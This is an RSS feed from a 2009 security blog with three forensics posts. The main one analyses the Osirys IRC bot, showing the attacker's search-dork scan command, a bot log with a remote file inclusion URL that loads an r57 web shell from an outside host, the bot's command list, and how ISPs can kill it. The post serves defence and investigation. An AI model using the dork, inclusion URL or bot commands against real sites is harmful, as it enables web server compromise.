<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Andrew Martin &#187; Forensics</title>
	<atom:link href="http://www.martinsecurity.net/category/forensics/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.martinsecurity.net</link>
	<description>Viewing InfoSec from the trenches (formerly Real Security)</description>
	<lastBuildDate>Fri, 18 Dec 2009 19:29:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>SANS Paper of the Quarter Webcast!</title>
		<link>http://www.martinsecurity.net/2009/06/15/sans-paper-of-the-quarter-webcast/</link>
		<comments>http://www.martinsecurity.net/2009/06/15/sans-paper-of-the-quarter-webcast/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 00:54:18 +0000</pubDate>
		<dc:creator>martinse</dc:creator>
				<category><![CDATA[Forensics]]></category>
		<category><![CDATA[sans]]></category>

		<guid isPermaLink="false">http://www.martinsecurity.net/?p=324</guid>
		<description><![CDATA[At long last SANS and I have agreed on a date and time for me to deliver the first ever Paper of the Quarter webcast. My paper Mobile Device Forensics was picked as the Q1 2009 winner while I was away traveling South America, so I am a little late to the race. It will [...]]]></description>
			<content:encoded><![CDATA[<p>At long last SANS and I have agreed on a date and time for me to deliver the first ever Paper of the Quarter webcast. My paper Mobile Device Forensics was picked as the Q1 2009 winner while I was away traveling South America, so I am a little late to the race. It will be held on June 24th at 1PM EDT, <a title="SANS Paper of the Quarter" href="https://www.sans.org/webcasts/show.php?webcastid=92468 " target="_blank">more information can be found here</a>. I&#8217;ll be giving a brief overview of the paper and talking about how I analyzed a cellular phone, smartphone and MP3 player to gather data to use in a forensic investigation.</p>
<p>For the CISSPs reading my blog, you can probably claim CPE credits for attending the webcast, so don&#8217;t miss out!</p>
<p>For more information on the SANS Paper of the Quarter initiative, <a title="SANS Paper of the Quarter" href="http://www.giac.org/paper_of_the_quarter.php" target="_blank">visit giac.org</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.martinsecurity.net/2009/06/15/sans-paper-of-the-quarter-webcast/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Controlling an RFI bot &#8211; RFI pt3</title>
		<link>http://www.martinsecurity.net/2009/06/04/controlling-an-rfi-bot/</link>
		<comments>http://www.martinsecurity.net/2009/06/04/controlling-an-rfi-bot/#comments</comments>
		<pubDate>Thu, 04 Jun 2009 22:50:17 +0000</pubDate>
		<dc:creator>martinse</dc:creator>
				<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Intelligence]]></category>
		<category><![CDATA[Malware scripts and other formats]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[irc bot]]></category>
		<category><![CDATA[r57]]></category>
		<category><![CDATA[rfi]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://www.martinsecurity.net/?p=278</guid>
		<description><![CDATA[Lets delve a little deeper into the Osirys IRC bot which I initially discussed in part 1. First I will illustrate how the attacker finds and exploits web servers, then I will discuss how ISPs can get involved and remove these bots from their networks. First the attacker issues a command to the bot to [...]]]></description>
			<content:encoded><![CDATA[<p>Lets delve a little deeper into the Osirys IRC bot which I initially discussed in part 1. First I will illustrate how the attacker finds and exploits web servers, then I will discuss how ISPs can get involved and remove these bots from their networks.</p>
<p>First the attacker issues a command to the bot to begin scanning. The scan will search for the dork &#8220;index.php?sayfa=&#8221; which will find hosts that are <a title="acyhost rfi" href="http://www.securityfocus.com/bid/28231/info" target="_blank">vulnerable to this attack</a>.</p>
<p>&lt;[attacker]&gt; !rfi index.php?sayfa= &#8220;index.php?sayfa=&#8221; -p 75</p>
<p>The bot then searches several search engines to find sites that meet the attacker&#8217;s criteria and begins trying to exploit them.</p>
<p>&lt;bot&gt; [*] RFI Scan started -&gt; 75 sites/process<br />
&lt;bot&gt; [+] Bug: index.php?sayfa=<br />
&lt;bot&gt; [+] Dork: &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;ABACHO : 0 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;WEB.DE : 0 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;YAHOO : 0 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;ASK : 126 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;ALLTHEWEB : 3084 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;UOL : 390 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;MSN : 2997 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;ALTAVISTA : 630 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;WEB.DE : 0 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;GOOGLE : 0 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;MSN : 3057 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;ASK : 363 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;UOL : 225 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;VIRGILIO : 0 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;LYCOS : 1731 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [~] &gt;ABACHO : 0 &gt; &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [*] &gt;EXPLOITABLES: 4561 &#8220;index.php?sayfa=&#8221;<br />
&lt;bot&gt; [+] ExPLoItIng STARTED !!</p>
<p>A vulnerable host is found and the attacker is now able to control the host using their shell, which in this case is in r57.txt.</p>
<p>&lt;bot&gt; (safe: ON) (os: WINNT) http://[removed]/EN/index.php?sayfa=http://www.tos-belarus.org/data/r57.txt???<br />
&lt;bot&gt; (uname -a) Windows NT HERA 5.0 build 2195<br />
&lt;bot&gt; (hdd space) free: ( 4.92 Mb) used: ( 84.00 Kb) tot: ( 5.00 Mb)<br />
&lt;bot&gt; [+] Trying to spread ..<br />
&lt;bot&gt; [%] _/ Exploiting 100 / 4561<br />
ISPs can use the following to interact with the bot and remove it from their network. This bot is running on my own IRC server for testing purposes.</p>
<p>Removal of the bot requires administrative credentials which are available in the script. Looking at the below configuration sample user &#8220;andy&#8221; may issue administrative commands to the bot.</p>
<p>my @admins = (&#8220;andy&#8221;);<br />
my $killpwd   = &#8220;adminpass&#8221;; #Password to Kill the Bot</p>
<p>Show bot commands</p>
<p>&lt;andy&gt; !help<br />
&lt;RFI[13]&gt; [!] !response  &gt; Test if the RFI Response is working<br />
&lt;RFI[13]&gt; [*] !chid &lt;new rfi-id&gt;  &gt; Change the RFI-Response<br />
&lt;RFI[13]&gt; [*] !killme  &gt; KILL The Bot<br />
&lt;RFI[13]&gt; [!] !milw0rm rss  &gt; Get the last Milw0rm bugs<br />
&lt;RFI[13]&gt; [!] !new rfi bugs  &gt; Get the last 10 RFI bugs<br />
&lt;RFI[13]&gt; [!] !new lfi bugs  &gt; Get the last 10 LFI bugs<br />
&lt;RFI[13]&gt; [!] !new sql bugs  &gt; Get the last 10 SQL Injection bugs<br />
&lt;RFI[13]&gt; [!] !new rce bugs  &gt; Get the last 10 RCE bugs<br />
&lt;RFI[13]&gt; [!] !cari &lt;bug&gt; &lt;dork&gt; -p &lt;sites/proc&gt;  &gt; Start the RFI Scanner<br />
&lt;RFI[13]&gt; [!] !lfi &lt;bug&gt; &lt;dork&gt;  &gt; Start the LFI Scanner<br />
&lt;RFI[13]&gt; [!] !sql &lt;bug&gt; &lt;dork&gt; -p &lt;sites/proc&gt;  &gt; Start the SQL Injection Scanner<br />
&lt;RFI[13]&gt; [!] !rce &lt;bug&gt; &lt;dork&gt; -p &lt;sites/proc&gt;  &gt; Start the RCE Scanner<br />
&lt;RFI[13]&gt; [!] !mass[rfi/lfi/sql/rce] &lt;bug&gt; &lt;dork&gt; -p &lt;sites/proc&gt;  &gt; Start the Mass Scan<br />
&lt;RFI[13]&gt; [*] !cmd &lt;bashline&gt;  &gt; Gives command on the Bot&#8217;s shell. Ex: (!cmd id) (!cmd uname -a)<br />
&lt;RFI[13]&gt; [*] !sspread -s &lt;RFI_Vuln_site&gt;  &gt; To spread on a vulnerable host. Ex: (!spread -s www.h.com/a.php?bug=)<br />
&lt;RFI[13]&gt; [*] !admin add/remove &lt;nickname&gt;  &gt; To add/remove a nickname to/from the admin list<br />
&lt;RFI[13]&gt; [*] /msg RFI[13] !Sec ON/OFF -p &lt;pwd&gt;  &gt; To enable or disable Security Mode<br />
&lt;RFI[13]&gt; [*] /msg RFI[13] !Spread ON/OFF -p &lt;pwd&gt;  &gt; To enable or disable Spread Mode<br />
&lt;RFI[13]&gt; [!] !info  &gt; Get infos about the Bot</p>
<p>Gather information</p>
<p>&lt;andy&gt; !info<br />
&lt;RFI[13]&gt; [i] Release : v6 -Private IrcBot<br />
&lt;RFI[13]&gt; [i] Author  : Attacker Nickname<br />
&lt;RFI[13]&gt; [i] Contact : attacker@some.com<br />
&lt;RFI[13]&gt; [i] Uname -a: Linux ubuntu 2.6.28-11-server #42-Ubuntu SMP Fri Apr 17 02:45:36 UTC 2009 x86_64 GNU/Linux<br />
&lt;RFI[13]&gt; [i] Uptime  :  15:11:59 up 6 days, 50 min,  2 users,  load average: 0.05, 0.01, 0.00<br />
&lt;RFI[13]&gt; [i] Spread Mode: OFF<br />
&lt;RFI[13]&gt; [i] Security Mode: OFF</p>
<p>Remove the bot (admin only)</p>
<p>&lt;andy&gt; !cmd rm myscan2.txt (optional step if you know the name of the bot file)<br />
&lt;andy&gt; !killme<br />
&lt;RFI[13]&gt; [!] Bye Bye !<br />
* RFI[13] has quit IRC (Client exited)</p>
<p>Remember that simply removing the bot does not address the underlying vulnerability on the system that allowed it to be compromised.</p>
<p>This script also contains valuable investigative information in these two variables:</p>
<p>$auth = &#8220;attacker nickname&#8221;;<br />
$authmail = &#8220;attacker@some.com&#8221;;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.martinsecurity.net/2009/06/04/controlling-an-rfi-bot/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mobile Device Forensics</title>
		<link>http://www.martinsecurity.net/2009/01/29/mobile-device-forensics/</link>
		<comments>http://www.martinsecurity.net/2009/01/29/mobile-device-forensics/#comments</comments>
		<pubDate>Thu, 29 Jan 2009 17:43:43 +0000</pubDate>
		<dc:creator>martinse</dc:creator>
				<category><![CDATA[Forensics]]></category>

		<guid isPermaLink="false">http://realsecurity.wordpress.com/?p=198</guid>
		<description><![CDATA[While catching up on security news in an internet cafe in Buenos Aires, I came upon the news that the newly elected US president Barak Obama is going to be the first president to use a blackberry. Article http://blog.wired.com/business/2009/01/obama-gets-to-k.html With there being some buzz around blackberry security, it&#8217;s a good time to mention the paper I [...]]]></description>
			<content:encoded><![CDATA[<p>While catching up on security news in an internet cafe in Buenos Aires, I came upon the news that the newly elected US president Barak Obama is going to be the first president to use a blackberry.</p>
<p>Article <a title="http://blog.wired.com/business/2009/01/obama-gets-to-k.html" href="http://blog.wired.com/business/2009/01/obama-gets-to-k.html" target="_blank">http://blog.wired.com/business/2009/01/obama-gets-to-k.html</a></p>
<p>With there being some buzz around blackberry security, it&#8217;s a good time to mention the paper I wrote for SANS on mobile device forensics.</p>
<p>It can be found at: <a href="http://www.sans.org/reading_room/whitepapers/forensics/mobile_device_forensics_32888?show=32888.php&amp;cat=forensics" target="_blank">http://www.sans.org/reading_room/whitepapers/forensics/mobile_device_forensics_32888?show=32888.php&amp;cat=forensics</a></p>
<p>The paper covers how to investigate a cellular phone (Motorola Razr), smartphone (blackberry) and MP3 player to gather information, recover deleted data, etc.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.martinsecurity.net/2009/01/29/mobile-device-forensics/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

